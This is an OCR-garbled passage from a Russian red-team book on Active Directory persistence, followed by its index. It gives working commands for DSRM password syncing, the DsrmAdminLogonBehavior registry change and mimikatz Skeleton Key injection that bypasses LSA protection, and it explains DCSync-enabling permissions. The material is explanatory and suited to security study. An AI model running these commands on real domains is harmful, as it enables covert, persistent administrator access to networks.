162 Глава В Второй вариант - когда оператор предоставляет учетной записи разрешение «Сбросить пароль)) для другой учетной записи из группы «Администраторы до мена)) (рис. 8 . 1 9). Бе:юnасность РедоlС\'о атрибутов [руmь1 ИЛИ ПОЛЬ:SОl!l!l'!'еЛИ; М Viotroot@domain.dom) & flpeд-Wlndows 2000 .а.оступ (DOMA/N\llpeд-Wndows 2( J& rpynne 111пориз!1ЦИИ доступа Windows (ООМАJN\Гр)'ПП; " Серееры лицензий сер11ер11 терминалов (DOMA/N\Cep < fазреwения для груmь1 "М" Раsреwи �j Полный доступ Чтение Запись Созда'!Ь все д11черние объекты Удалить все дочерние объекты Чтобы зада'IЬ особые разрешения или 0 0 0 0 '!Ь Запре'!Мть" о о о о о параме�ры, нажмите кнопку "Дрnоnнитеnьно". Рис. 8.18. Полный контроль над группой «Администраторы домена» Входящие эеонки Репли;;ци--;-nаролей Оnубликов11нные сертификаты РеАактор атрмбутое J CO�LСреда-I Сеа�� ] Удме�-;�в;ен� Профиль служб удаленных рабочих: столоs Бе:юnасность -- [руппы или пол з а ь ов те ли : Вд,.,.,инис,раторы (ОО МАI N\Админис-rраторы) " & м tюtrool@domain.dom) 1& llpeд-Wndows 2000 доступ (DOMAJN\Пpeд-Windows 2( 1& Группа авторизации доступа Windows (DOMAJN\Гpynn, J&Cei:iвeaы лицензий сервера терминалов MAIN\Cep "' < fазрешения для груmы "М" > Разреwи'!Ь Запреmть Оmравить как Получить как Разрешено про�ть подлинность Сброс 11аРоЛЯ Смена пщюля Чтобы зада'!Ь особые раsрешения или nараме'!рЬ1. нажмите· кнопку "Дрnоnнитеnьно". Рис. о о о 10.] о о о о о о " - ...,, 8.19. Разрешение «Сбросить паролы) для учетной записи <<Администратор»
Используем грrпповые политики, чтобы сохранить доступ к домену Безоnасжхть 163 РедаJСТор атрибуrое [руmы или nоnыsое11теЛ11 : М. Гlpeд-Wndows 2000 доступ (OO MAIN\Гlpeд-Wndows 2( " М. lncoming Forest Тrullt Вuilders (ООМА1N\lncoming Forest М. КОНТРОППЕРЫ LIOMEHA ПРЕдПРИЯТИЯ & М '1otroot@dorшlin .dom) < - о-а истеч-я срока naponя Реn1И<111.t1Я всех изменений катаn ... РеnSИ<-я изменений К11таnога Pen1И<ill.t1Я изменений каталога е " . Секре11111я сwщюниз-я penlИ<!I ... Чтобы :sаД!IТЬ особые ра�ения ИЛI\ nараметры, нажмите кнопку 11Доnолнитеnьно1'. о lr2JJ Б2J Б2J о о о о о о А n�\ ..; 1До!J.о1111Ительноj Рис. 8.20. Разрешения на репликацию изменений каталога Любой пользователь с таким разрешением имеет возможность реплицировать любые объекты, включая пароли. Это дает оператору право на выполнение атаки DCSync. И третий вариант - когда оператор предоставляет учетной записи привилегии на репликацию изменений каталога (рис. 8.20). Directory Services Restore Mode Каждый контроллер домена имеет внутреннюю учетную запись локального адми нистратора. Она называется учетной записью режима восстановления служб ката логов (DSRМ). Причем пароль для данной учетной записи редко подлежит измене нию, т. к. основной способ сделать это на контроллере домена заключается в запус ке инструмента командной строки ntdsutil. Есть возможность синхронизировать пароль DSRМ на контроллере домена с опре деленной учетной записью домена. Установить пароль можно, выполнив последо вательно следующие команды (рис. 8.2 1 ). > ntdsutil set dsпn pas sword reset password оп server null [] q q Но дело в том, что пользователь DSRМ по умолчанию - это «Администратор». Таким образом, их пароли совпадают. Но оператор может связать пользователя DSRМ с любым другим пользователем домена (рис. 8 .22).
Глава В 164 > ntdsutil set dsrrn password sync from domain account [ пользователь ] q q C : \ W i n d o w s \ s y stem3 2 >ntdsut i l n t d s ut i l : set d s rm p a ssword Переус тановите пароль адни н и с т р а т о р а DSRr·' : r'e s e t pas s;юrd on s e rver' null Введите пароль для учетной записи адr·1ин и с тратора режина восстановления службы Подтверждение пароля : · • · · • • • • Пароль ус пешно установлен . Переу с тановите nt d s util : Q пароль адr-н<нистратора DSRr·! : к а т алог о в : • · · · • • · • Q C : \Window s \system3 2 > Рис. 8.21 . Замена пароля DSRM C : \Hindows \ s y s tem32 > n t d s u t i l ntdsut i l : s e t d s r m p a s sword П е р е у с т а новите п а р оль адиин и с т ратора DSRi·! : sупс f rom doma i п a c c ount u s erSD С и нхрони зация п а р оля ус пешно заверuена . П е р е у с т а н о ви т е п а роль адNи н и с т р а т о р а DSRH : rrtdsut i l : q q Рис. 8.22. Связывание пол ьзователя DSRM с другой учетной записью После того как удалось связать учетную запись DSRМ с другой учетной записью, определимся, как ее можно использовать. Первым делом добавим свойство DsrrnAdminLogonBehavior в НКLМ : \System\CurrentControlSet \Control \Lsa \. Возможные зна чения: L] о (по умолчанию): можно использовать учетную запись DSRМ, только если DC запущен в DSRМ; L] 1 : можно использовать учетную запись DSRМ для входа в систему, если локаль- ная служба AD остановлена; L] 2: всегда можно использовать учетную запись DSRМ. Для авторизации по сети (ведь это запись администратора DSRМ) нам необходимо выставить значение 2 (рис. 8.23, 8.24). PS> New-I temProperty " НКLМ : \System\CurrentControlSet \Control\Lsa\ " -Name " DsrrnAdminLogonBehavior" -Value 2 - PropertyType DWORD При этом оператору не нужно знать пароль пользователя, достаточно хеша пароля (для path the hash). Если значение свойства DsrrnAdminLogonBehavior равно 2, а опера тор может изменить пароль DSRМ, то данный способ позволяет ему сохранить права администратора на контроллере домена даже при изменении всех паролей пользователей и компьютеров домена.
у '"-- - ·.'·\"·'••••· _,",,"t(•Jrtrc:."0-f.Janle "Osr�m•�...:,·;:�-',.<:: . gi:-,(,f.·�' ,j'•:c·�· CentralizedAccessPoГкies CachedMachineNames ------· · ОхОООООО (О) 2 - PropertyType D\•IORD - _ . . _ .. __ _ .. ....._.._.........._..... � �-----·-·----· - · -Value ��§�0.�.Q�....... ... ... .....�.�l." REG DWORD ОхОООООО (О} Р ис. 8.24. Свойство DsrmAdminLogonBehavior в реестре � everyoneincludesanonymous _ _ REG DWORD REG DWOR� · - -· · ------· ··-···· - -· - · ----· --··----· l!:.'В:�!.�0�'.!.���-�!...!.8-�!Yl0!.. � disaЫedomaincreds � crashonauditfai! Рис. 8.23. Добавление свойства DsrmAdminLogonBehavior �licrosoft . PowerShell . Core\Re istr HKLH Lsa Hicrosoft . PowerShe l l . Core\Registry : : HKEY_LOCAL_HACHINE\System\CurrentControlSet\Control Nicrosoft . PowerShell . Core\Registr}' : : HKEY_LOCAL_HACHINE\Systen1\CurrentCont rolSet\Control \Lsa\ PS C : \l�indoиs\system32� New- Iten1Property 3: ..... i :о; � 3 о.. о � � � @ 1 g :::i ф 5 � ::i
166 Глава В Skeleton Кеу Skeleton Кеу - это особенное вредоносное программное обеспечение, которое по зволяет легко понижать защищенность учетных записей в домене Active Directory с точки зрения авторизации. Эта программа внедряется в процесс LSASS и создает там собственный пароль, который будет актуален для любой учетной записи доме на. Причем настоящие пароли тоже будут действительны, поэтому риск, что бэкдор обнаружат, значительно снижается. В сетях Windows, как правило, есть два основных метода аутентификации: NТLM и Kerberos. И оба этих метода подвергаются вмешательству Skeleton Кеу. Таким об разом, при NТLМ-аутентификации хеш пароля сравнивается не с базой SAM, а с хешем Skeleton Кеу внутри LSASS. В случае с Kerberos шифрование будет пони жено до алгоритма, который не поддерживает соль (RС4_НМАС_МD5). Поэтому хеш, проверяемый на стороне сервера, будет удовлетворять хешу Skeleton Кеу, и аутентификация всегда будет успешной. Для внедрения бэкдора необходимы права администратора домена. Но стоит пом нить, что, поскольку используется внедрение в процесс, перезагрузка контроллера домена удалит вредоносную программу. При этом выполнить атаку очень просто, для этого нужен mimikatz (рис. 8.25). rni.mikatz # privilege : : debug rnirni katz # rnisc : : s keleton m i m i kat: Р i ni i < a t: :.: Р Pr· i •J i l ege f.:DC } •.1а: а p r i v i lege : : debug · 2 (1 ' ОК n1i s c : : 5 < e l eton КПС : ,, ;: 1- u c r К ПС j k e y � rat c h О К R c ,1 · f ш н . 1 i or15 RC4 in:1 Hl4 dec r y r : pa: c h ОК Рис. 8.25. rat ( h ОК Внедрение Skeletoп Кеу с помощью mimikatz В результате этих действий появился еще один пароль, который также работает для пользователя: mi.mi katz (рис. 8.26, 8.27). С : l <·. i ndo1 1 S \ S \' o : e m3 2 '· п "' : rJ s e " ' l·. : f J - 5 1J L R6 E l J T J 9 \A 1 u s e r' : domai n . dom\root mimi k a t z команда еыnоnнена ) С П еuно . Рис. 8.26. Авторизация с поддельным паролем Skeletoп Кеу 1: : " "· i ·1<101·1 , \ S ) c, : em32 > пet u s e Коман�а Быnоnнена ус пеuно . '' : , 1l·:I11 - :;ULR6 E 1 J Т J 9 \A / L1 se r : Joma i n . dom\root 1 2 345678 Рис. 8.27. Авторизация с реальным паролем пользователя
Используем грrпповые политики, чтобы сохранить доступ к домену \l•ii ndoc·JS \system32 >net use У· Коr·1.анда выпо11нена успешно . С . Рис. 167 \ \\.JHJ- 5ULR6E 1 J Т J9\д /user : cioma i n . dоm\Адr-1инистратор mimikat: 8.28. Авторизация под пользователем «Администратор» с паролем Skeletoп Кеу C : \Windows \sys tem32 >net use У : К оманда выполнена успешно . Рис. \\HirJ - SULR6E 1 J T J 9 \A / user : doma i n . dom\notroot mimikatz 8.29. Авторизация под пользователем notroot с паролем Skeletoп Кеу При этом данный пароль подходит для авторизации под абсолютно любой учетной записью пользователя домена (рис. 8.28, 8.29). Стоит также упомянуть и LSA. При внедрении бэкдора может появиться следую щая ошибка (рис. 8.30). �1 in j)� <>f .: l:t �-ННОН Jщ 11 I r1 i:.c : : :; kc l c t. 0 1 1 " n i :;1: :: 111· 1 •· t "'' • Рис. : 0111:" Р1·ш;" •. :; ( r!хl'Н111ЩШ11•. > 8.30. Авторизация под пользователем notroot с паролем Skeletoп Кеу Чтобы избежать этого, нам нужно выполнить атаку в обход LSA. Но и это неслож но сделать с помощью mimikatz (рис. 8.3 1 ). mimi katz # privilege : : debug mimikatz # !+ mimi katz # ! processprotect /proce s s : lsas s . exe /remove mimikatz # misc : : skeleton mi mikat z Р p r i v i l e ge : : debug P r i v i l ege · 20 · ОК mi mikatz • ! + [ 4 ] ' m i m i d r v ' serv i c e a l ready reg i s t ered ['J " mi m i d r v · mimikatz • s e r v i c e a l ready s t a r t e d ! p r o c e s s p rot e c t / p rocess : l s a s s . exe /remove P r o c e s s : l s a s s . exe P I D 740 - > 00/00 [ 0 - 0 - В ] m i m i k a t z • mi sc : : ske l e t o n [ K DC j d a t a [ KDC ] s t ru c t [ KDC ] keys patch ОК [ RC4 ] f u n c t i o n s [ R C4 ] i n i t patch ОК [ R C 4 ] dec rypt patch Рис. ОК 8.31 . Внедрение бэкдора Skeleton Кеу в обход LSA Можно сказать, что Skeleton Кеу - это метод, который оператор может исполь зовать для доступа к хостам и сетевым ресурсам без необходимости взламывать пароли пользователей домена. Полученный этим способом доступ сохраняется по сле смены паролей всех пользователей (включая администраторов) до перезагрузки контролл�ра домена.
Предметный указатель А Access Control Entry, АСЕ 42 ACL 42, 1 48 AdminSDHolder 147 ADModule 35 Advanced Threat Analytics (АТА) 86 Agressor Script 82 AMSI 1 00 ANGRYPUPPY 76 Antimalware Scan Interface (AMSI) 1 00 AppLocker 23, 97 AS-REP Roasting 1 1 6 Azure Active Directory (Azure AD) 24 Azure AD Sync 25 Azure CLI 26 в Beacon 76 Bglnfo 73 BloodHound 1 3, 1 7, 40, 58, 76 с CIFS 3 8 Cobalt Strike 1 3, 63, 76, 79 Cpassword 3 1 Credential Manager 1 30 CredSSP 1 59 Cryptool 3 1 Cypher 58 D Data Protection API (DPAPI) 1 22 DCEPT 95 DCShadow 4 7, 1 49 DCSync 37, 38, 40, 47, 90, 1 1 8 Digest 1 59 Directory Services Restore Mode 1 63 DNS 1 1 1 Dnscmd 32 DomainPasswordSpray 75 Downgrade 1 09 DPAPI 1 22 DSRM 1 63 Е Emotet 83 Empire 79 Endpoint Detection and Response (EDR) 8 1 Enterprise Admins 1 45 Exchange 49 Exchange PushSubscription 49 Exchange Windows Peпnissions 49 F FileAzureadHookDLL 24 FQDN 1 0 FreeNAS 1 3 G Get-GPPPassword 32 GoFetch 76 Golden Ticket 37, 1 33, 1 45 GPP 30 Gpp-decrypt 32 GPRegistryPolicy 2 1 Group Policy Preferences 30 GUID 1 0, 22
Предметный указатель 1 70 н Honeypot 94 Honeypot Buster 96 Honeytoken 95 host SPN 10 IDS 95 Impacket 49, 107 IntemalMonologue 109 Invoke-ACLPwn 44 lnvoke-HoneyHash 95 Invoke-Mimikatz l 56 Invoke-NinjaCopy 106 Invoke-Obfuscation 79 Invoke-PhantOm 94 к КСС 48 Kekeo 38, 46 Kerberoasting 37, 95, 113 Kerberos 9, 33, 45, 113, 1 1 6, 1 59 () Неограниченное делегирование 35 О Ограниченное делегирование 37 О Ограниченное делегирование на основе ресурсов 39 Кiwi 1 3 8 L Lateral Movement 53 LDAP 38, 40, 49, 96 Link-Local Multicast Name Resolution (LLМNR) 111 Local Administrator Password Solution (LAPS) 21, 23 LOLBas 100 LSASS (Local Secui"ity Authority Subsystem Service) 35, 82, 96, 109 м MailSniper l 5 Metasploit 32, 85 Metasploit Framework 13 Meterpreter 1 3 8 Microsoft Defender l 00 Microsoft SQL 12 Microsoft SQL Server 53 Microsoft TechNet 30 Mimikatz 36, 38, 46, 81, 109, 134, 137 MSF 86 MSSQLSv 38 N NAS4Free 1 3 Negotiate 159 Neo4j 58 NetBIOS 1 1 1 NetNTLM 109 Network Attached Storage (NAS) 1 3 New-GPOimmediateTask 41 NTLM 39, 46, 88, 1 59 NТLМ-аутентификация 45 NTLM-xeш 119, 142 о OAuth 26 OPSEC 87 Organizational Unit (OU) 40 Overpath-The-Hash 88, 89 р PA-DATA 116 Pass-the-hash 60 Password Spraying 74, 88 Path the hash 164 PHS 24 PolicyMaker 30 PowerMad 39 PowerSCCM 69 PowerShell 9, 56, 91 PowerShell Activedirectory 20 PowerShell Empire 1 2, 100 PowerSploit 32, 79, 100 PowerUpSQL 12, 5 1 , 57 PowerView 1 2, 35, 41, 87 Privilege Account Certificate (РАС) 37 ProcDump 8 1 PsExec 61, 73 R RESTful Empire 76 Restricted Admin 6 1 RID 1 45 RPC 54 Rubeus 36, 114
Предметный указатель s S4U2proxy 37, 38 S4U2self 37 SAM 62 SCCM 65 Schannel 159 Schtasks/at 8 1 ScriptBlock 9 1 SDProp 1 48 SecurePolicy 41 Security Support Provider Interface (SSPI) 158 SeEnaЫeDelegationPrivilege 1 57 Sekurlsa 1 3 5 Service Control Manager 64 Service Principal Names (SPN) 9 Setspn 1 1 4 Shadow admins 160 SharpHound 44 Shhmon 93 SID 42 SIDHistory 142 Silver Ticket 90, 1 39 Skeleton Кеу 1 66 SMB 49 SPN (Service Principal Name) 37, 90, 95, 1 1 3 SpoolSample 36 Spray 75 SQL Server 5 1 SQL Server Management Studio (SSMS) 53 SQL-инъекции 56 sRDI 82 SSPI 1 09, 1 58 Sysmon 92 А System Center Configuration Manager (SCCM) 65 SYSVOL 29 т TGS (Ticket Granting Server) 35, 45, 90, 1 1 3 (ticket granting ticket) 35, 133 ТОТ u UNС-путь 58 User-Account-Control 33 v Vssadmin 106 w Windows Server Update Services (WSUS) 70 WМI 6 1 , 83 WMIC 8 1 WMlmplant 1 4 WМI-эапросы 8 7 WPAD 73 WSUSpendu 70 х XМLDOM 83 XMLHTTP 85 г Аптитуда 92 АРТ-атаки 83 Б Билеты 1 71 службы 139 Глобальные группы 1 9 Групповая политика 1 53 Группы Active Directory 1 9 Группы безопасности 1 9 Группы распространения 1 9
Предметный указатель 1 72 д Делегирование 33 Диспетчер учетных данных 130 з Защитник Windows 1 00 Золотой билет Kerberos 1 3 3 и р Распьmение пароля 74 Режим одобрения администратором 62 с Системный монитор 92 Скрытая учетная запись администратора 1 7 Служба для доступа пользователя к себе 33 Служба для пользователя через прокси 34 Списки контроля доступа 42, 148 Идентификаторы безопасности SID 60 л Лес 45 Локальная группа домена 19 о Обратимое шифрование 1 20 Объекты групповой политики 40 п Персистентность доступа 1 49 Предпочтения групповой политики 30 т Транзитивность 44 Траст 44 у Универсальные группы 1 9 Учетные записи теневого администратора 1 60 ш Шаблон групповой политики 1 54